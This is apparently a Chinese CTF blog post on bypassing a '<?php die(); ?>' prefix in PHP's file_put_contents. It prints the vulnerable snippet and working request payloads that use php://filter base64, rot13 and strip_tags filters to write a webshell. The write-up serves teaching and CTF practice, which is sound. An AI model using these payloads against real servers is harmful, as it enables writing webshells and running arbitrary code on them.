file_put_contents之PHP伪协议绕过死亡代码

前言

一个CTF比赛中差不多用烂的一个考点,考察选手对php伪协议的灵活运用

前置知识

0x1

Base64解码只解码字符表中的字符,对不在字符表中的字符会直接忽略(相当于置换为空),这里举个例子
F12的base64编码是 RjEy,我们插入一些不在字符表中的字符,仍然可以解码出正确结果

0x2

Base64编码简单来说就是3个字节变4个字节,所以编码后的字符串一定满足4的倍数,满足4的倍数就能进行base64解码

漏洞分析

危险代码

<?php
  $filename = $_GET["file"];
  $content = $_GET['content'];
  if (isset($content) && isset($filename)) {
  	@file_put_contents($filename, '<?php die(); ?>'.$content);
  }else{
  	highlight_file(__FILE__);
  }
?>

很明显我们可以写入一个php文件,从而进行getshell,但是在我们写入的内容之前有个<?php die(); ?>,假设我们传入的?content=<?php phpinfo();?>,那么写入文件中就会是<?php die(); ?><?php phpinfo(); ?>,这样即使我们访问了这个php文件,也会因为die而提前退出,并不会执行到后面的phpinfo

php伪协议利用

convert.base64-decode

我们这样进行传参?file=php://filter/convert.base64-decode/resource=shell.php&content=abPD9waHAgcGhwaW5mbygpOz8%2b
根据上面所说的前置知识,字符只需要满足4的倍数就能进行base64解码,就算是乱码也没关系,由于不在字符表中的字符会被忽略,所以解码的字符是phpdie,只有6个字符,所以我们手动传入两个字符ab加上<?php phpinfo();?>的base64编码,就能成功写入有效的webshell

string.rot13

注意:此方法需要关闭短标签(short_open_tag),不然会因为短标签报错
我们这样进行传参?file=php://filter/string.rot13/resource=shell.php&content=<?cuc cucvasb();?>,这时整体的内容是<?php die();?><?cuc cucvasb();?>,我们这个解码器会对传入的值进行rot13解码,所以写入文件的内容是<?cuc qvr();?><?php phpinfo();?>,这样也成功的去除了die

string.strip_tags

该协议的使用是将字符串中的 HTML、XML 以及 PHP 的标签或者数组中的 HTML、XML 以及 PHP 的标签剥除.(PHP 7.3.0 起废弃),而就是php的标签,使用该协议即将直接去除
我们这样传参?file=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php&content=PD9waHAgcGhwaW5mbygpOz8%2b,这样就会将<?php die();?>进行去除后再进行base64解码,就能成功写入有效的webshell

posted @ 2024-01-19 15:46  F12~  阅读(217)  评论(0编辑  收藏  举报